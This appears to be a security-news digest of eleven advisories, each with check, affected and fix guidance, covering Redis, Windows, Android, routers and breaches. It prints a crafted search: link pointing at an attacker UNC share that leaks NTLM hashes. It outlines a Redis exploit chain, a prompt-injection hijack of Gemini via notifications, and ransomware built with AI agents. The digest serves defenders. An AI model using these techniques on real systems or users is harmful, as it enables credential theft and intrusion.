Last updated: October 5, 2026 at 10:28 AM UTC
All 897 Vulnerability 362 Breach 144 Threat 384 Defense 7

Microsoft 365 Android apps leak FOCI SSO tokens to any local app via leftover setIsDebugMode(true) - four CVEs, six apps

Enclave researchers have disclosed FlagLeft, a flaw in Microsoft 365 Android apps that let any local app steal account tokens because a shared Microsoft SDK shipped with setIsDebugMode(true) left in production code, skipping the check that should reject untrusted apps requesting SSO handoff. The leaked FOCI single-sign-on tokens can be refreshed and reused over long periods, with traffic that looks routine in logs. It affected Word, PowerPoint, Excel, Microsoft 365 Copilot, Loop, and OneNote (billions of downloads); Teams shipped the flag false and was unaffected. Microsoft issued four CVEs on May 12 (CVE-2026-41100/41101/41102/42832). The patched Android Word build is 16.0.19822.20190; a malicious on-device app is all it takes.

Check
Push Microsoft 365 Android app updates via MDM. Confirm Word is on build 16.0.19822.20190 or later and other apps updated through Google Play. Audit Android fleets for sideloaded apps.
Affected
Microsoft 365 Android apps (Word, PowerPoint, Excel, Copilot, Loop, OneNote) below the patched builds. A malicious on-device app can steal refreshable FOCI SSO tokens; Teams was unaffected.
Fix
Update all M365 Android apps from Google Play. Note the patch does not revoke already-stolen tokens - revoke active sessions for potentially-affected users and enforce app-install controls on managed devices.

Autonomous AI tool finds 2-year-old Redis use-after-free RCE CVE-2026-23479 - most cloud Redis runs passwordless, exploit public

Team Xint Code has disclosed CVE-2026-23479, a use-after-free remote code execution flaw in Redis that sat unnoticed in every stable branch from 7.2.0 until the May 5 fixes - over two years. The bug lives in unblockClientOnKey(), which keeps using a client pointer after processCommandAndResetClient() can free it. Exploitation needs an authenticated session, but Wiz's analysis finds Redis in most cloud environments with the majority running passwordless, where the default user already holds every privilege the exploit chain requires. The published exploit leaks a heap pointer via Lua, reclaims a freed client with a fake structure, and overwrites a GOT entry to repoint strcasecmp() at system(). NVD rates it 8.8.

Check
Inventory Redis instances and confirm version is past the May 5 fix. Identify passwordless or internet-reachable deployments. Audit for unexpected Lua EVAL activity and child processes spawned by redis-server.
Affected
Redis 7.2.0 through the May 5 fixes (over two years of stable branches). Exploitation needs an authenticated session, but most cloud Redis runs passwordless with the all-privileged default user.
Fix
Upgrade Redis to the patched release. Require authentication and strong ACLs, bind to localhost or private networks, never expose Redis to the internet. Enable full RELRO when building images.

Acer Wave 7 mesh routers: max-severity zero-days CVE-2026-49200/49201 expose plaintext credentials and hardcoded AES backdoor key, patch end of June

Acer is working to patch two maximum-severity zero-days in its Wave 7 mesh routers running firmware T7c_GBL_1.01.000055 or earlier, reported by researcher Gergo Pap. CVE-2026-49200 is a broken-access-control flaw: the acer_cgi.log file is reachable without authentication via the web interface and contains cleartext web and Telnet login credentials, leading to unauthorized system access. CVE-2026-49201 stems from a hardcoded AES key in the upload.cgi backup-processing binary, letting unauthenticated remote attackers decrypt, modify, and re-encrypt system backups to inject a persistent backdoor. No patches are available yet; Acer targets fixes by the end of June 2026 and urges users to update immediately once released.

Check
Inventory Acer Wave 7 mesh routers and confirm firmware version. Restrict web-interface and Telnet access to trusted networks. Watch for Acer's end-of-June firmware and apply immediately on release.
Affected
Acer Wave 7 routers on firmware T7c_GBL_1.01.000055 or earlier. CVE-2026-49200 exposes cleartext credentials in an unauthenticated log file; CVE-2026-49201's hardcoded AES key enables backdoored backups.
Fix
No patch yet (targeted end of June 2026). Disable remote/WAN management, restrict admin access to wired LAN, and rotate router and Telnet credentials. Apply Acer firmware the moment it ships.

Unpatched Windows search: URI handler leaks NTLMv2 hashes via crafted crumb=location UNC path - same class as patched Snipping Tool flaw

Huntress has disclosed an unpatched Windows vulnerability in the search: URI handler that can leak a user's NTLMv2 hash to an attacker. It mirrors CVE-2026-33829 - the Snipping Tool ms-screensketch: handler flaw Microsoft patched in April - achieving the same end via search:query and crumb=location: parameters pointing at an attacker UNC path (for example, search:query=test&crumb=location:\\attacker\share). If the user approves launching the crafted link from a web page or email, Windows connects to the attacker's SMB server and discloses the Net-NTLMv2 hash, which can be relayed or cracked to authenticate as the user. No patch is currently available; defenders should block outbound SMB and apply Huntress mitigations.

Check
Hunt for processes launching search: URIs with crumb=location pointing at UNC paths. Monitor outbound SMB (TCP 445) to external hosts. Educate users against approving search: link prompts.
Affected
Windows systems with the unpatched search: URI handler. A crafted link in a web page or email, once approved, forces an SMB connection that discloses the user's Net-NTLMv2 hash.
Fix
Block outbound SMB (TCP 445 and 139) at the perimeter. Enforce SMB signing and NTLM relay protections. Apply Huntress mitigations and disable the search: handler where feasible pending a patch.

SafeBreach 'Fake Context Alignment' hijacks Google Gemini on Android via malicious WhatsApp/Slack notifications - no malicious app needed, now patched

SafeBreach's Or Yair has demonstrated Fake Context Alignment, a technique that hijacks Google Gemini's voice assistant on Android through malicious notifications from apps like WhatsApp and Slack - no malicious app on the phone required. Gemini's Utilities feature reads and acts on notification text as if it were instructions, an attack surface Yair calls 'effectively infinite.' The bypass runs two illusions at once: it poses the real authorization question in a language the victim does not speak, defeating Google's post-Invitation prompt-injection mitigations. It can fake a boss's message, open windows, force a Zoom call, or poison long-term memory. Google has patched it; no CVE was assigned.

Check
Advise Android users with Gemini to disable or restrict its Utilities notification-reading feature where not essential. Treat unexpected spoken instructions referencing Drive uploads or calls with suspicion.
Affected
Android users with Google Gemini's notification-reading Utilities enabled. Any app or service that can push a notification could inject instructions; iOS and web are not affected. Now patched.
Fix
Ensure Gemini is updated to the patched version. Limit which apps can post notifications Gemini reads. For sensitive actions, require on-screen confirmation rather than voice-only approval.

Chinese cybercrime actor TA4922 expands to Europe with Atlas RAT and localized payroll/tax lures - likely LLM-accelerated malware

Proofpoint has detailed TA4922, a Chinese-speaking financially-motivated cybercrime group that has expanded from East Asia into Europe, deploying the previously undocumented Atlas backdoor against organizations in Germany, Italy, the UK, and South Africa. Since March its tempo has surged - Proofpoint says TA4922 now runs more unique campaigns than any other cybercrime actor in its data. Lures impersonate payroll notices, tax audits, VAT filings, compliance notices, invoices, and HR communications, with follow-up contact via WhatsApp, LINE, and Microsoft Teams. The group overlaps with activity reported as Silver Fox and Void Arachne. Proofpoint believes the rapidly expanding malware arsenal is being accelerated with LLMs, citing AI-generated code patterns and placeholder values.

Check
Hunt European endpoints for the Atlas backdoor and TA4922 custom loaders. Inspect email for payroll/tax/VAT/invoice lures and unsolicited WhatsApp, LINE, or Teams contact. Apply Proofpoint IoCs.
Affected
Organizations in Germany, Italy, the UK, and South Africa - TA4922's expanded European targets. Finance, HR, and tax-themed lures plus messaging-app outreach are the delivery vectors.
Fix
Apply Proofpoint IoCs and block Atlas RAT C2. Train finance and HR staff against tax/payroll/invoice lures and unsolicited messaging-app contact. Restrict execution of email-delivered loaders and scripts.

CISA, FBI, NSA warn hackers are modifying internet-exposed fuel tank gauge (ATG) systems - prior activity linked to Iran

CISA, the FBI, the NSA, the Department of Energy, and partners have warned that threat actors are targeting internet-exposed automatic tank gauge (ATG) systems used to monitor fuel and liquid storage across the Energy, Chemical, Food and Agriculture, and Transportation sectors. Attackers gain access via authentication-bypass flaws, hardcoded credentials, OS command-execution bugs, SQL injection, and privilege escalation, then modify network settings, product identifiers, tank volumes, and pump controls, and can disable alerts - raising the risk of leaks or equipment failure. The advisory does not formally attribute the activity, but it follows May CNN reporting linking Iranian hackers to similar ATG breaches. Agencies urge removing ATG systems from the internet.

Check
Inventory automatic tank gauge (ATG) systems and confirm none are internet-exposed. Replace default passwords, enable MFA, and review device logs for unauthorized changes to settings, volumes, or pump controls.
Affected
Internet-exposed ATG systems across Energy, Chemical, Food and Agriculture, and Transportation sectors. Access via auth-bypass, hardcoded credentials, command-execution, SQL injection, and privilege-escalation flaws. Prior activity linked to Iran.
Fix
Remove ATG systems from the internet; restrict remote access via firewalls, VPNs, or ACLs. Replace default credentials, enforce MFA, apply updates, and monitor for unauthorized configuration changes.

Dental-benefits provider DentaQuest added to Have I Been Pwned with 2,553,599 breached accounts; healthcare-themed phishing risk

Have I Been Pwned has added US dental-benefits provider DentaQuest to its breach corpus with 2,553,599 unique email addresses. DentaQuest is one of the largest dental and vision benefits administrators in the United States, serving Medicaid, Medicare, and commercial members. As is typical for HIBP additions, the underlying breach source and disclosure details are not published alongside the entry, but the listing lets individuals and organizations check whether their accounts appear in the leaked dataset. Healthcare and insurance data carries elevated risk: affected members should anticipate benefits-themed phishing, claim-status lures, and identity-theft attempts, and should rotate any reused passwords. It is among the larger US healthcare-adjacent breaches surfacing recently.

Check
Check whether your @company emails appear in HIBP's DentaQuest corpus. Warn affected staff about dental/medical-benefits-themed phishing - claim status, coverage updates, refund lures - over the next 60-90 days.
Affected
2,553,599 unique email addresses tied to DentaQuest dental and vision benefits members (Medicaid, Medicare, commercial). Healthcare data elevates identity-theft and benefits-phishing risk.
Fix
Affected individuals: rotate DentaQuest passwords and any reused elsewhere, enable MFA, monitor benefits statements. Organizations: add DentaQuest to breach-monitoring watchlists and brief staff on healthcare-themed social engineering.

Google June Android update fixes 124 flaws including exploited Framework zero-day CVE-2025-48595 - also added to CISA KEV same day

Google has released the June 2026 Android security patches addressing 124 vulnerabilities, including CVE-2025-48595, a high-severity Android Framework flaw under limited, targeted exploitation. Local attackers can abuse it to gain code execution and escalate privileges on Android 14 or later. Google fixed 18 critical vulnerabilities this cycle across System, Framework, and Qualcomm closed-source components; the most severe is a critical Framework flaw enabling remote privilege escalation with no user interaction. Two patch levels shipped (2026-06-01 and 2026-06-05). CISA added CVE-2025-48595 to its KEV catalog the same day. Pixel devices get updates immediately; other vendors typically lag. Similar Android Framework flaws have historically been abused by commercial spyware.

Check
Inventory Android fleet by version and patch level. Confirm devices show the 2026-06-05 patch level. Prioritize Android 14+ devices for CVE-2025-48595; push updates via MDM where possible.
Affected
Android 14 and later unpatched against the June 2026 update. CVE-2025-48595 is under limited targeted exploitation; high-interest individuals face the greatest risk from likely-spyware abuse.
Fix
Apply the June 2026 Android update (2026-06-05 patch level). Non-Pixel users: pressure OEMs for timely rollout. FCEB agencies must remediate CVE-2025-48595 per CISA KEV deadline.

AI-built ransomware toolkit uses Cursor and Claude Opus agents to automate EDR evasion and Active Directory discovery, Sophos finds

Sophos has detailed a threat actor using an AI-assisted ransomware toolkit that automates Active Directory discovery and EDR evasion. Tool and payload development was aided by Cursor and Claude Opus agents across coding, analysis, and revision, with some agents tasked to scrape security-research posts for fresh bypass techniques; resulting malware was tested in VMs against Sophos, CrowdStrike, and Microsoft EDR. The framework includes Cobalt Strike profiles mimicking legitimate web traffic, a Telegram-bot C2, Python shellcode injectors preserving host-binary functionality, and a Cloudflare Worker front-end redirector. Despite the AI orchestration, the workflow is entirely human-driven. Operator logs and a ransomware-leak-site reference confirmed criminal, not red-team, use.

Check
Hunt endpoints for payloads under C:\Users\*\Documents\test, Telegram-bot C2 traffic, and Cobalt Strike beacons fronted by Cloudflare Workers. Apply Sophos IoCs across EDR-monitored hosts.
Affected
Organizations relying on EDR signatures alone. This toolkit was AI-tuned specifically to bypass Sophos, CrowdStrike, and Microsoft EDR, and routes C2 through Telegram and Cloudflare Workers to blend in.
Fix
Layer behavioral detection and AD-tiering on top of EDR. Block unauthorized Telegram API and anomalous Cloudflare Worker egress. Monitor for AD-discovery patterns and shellcode injection into signed binaries.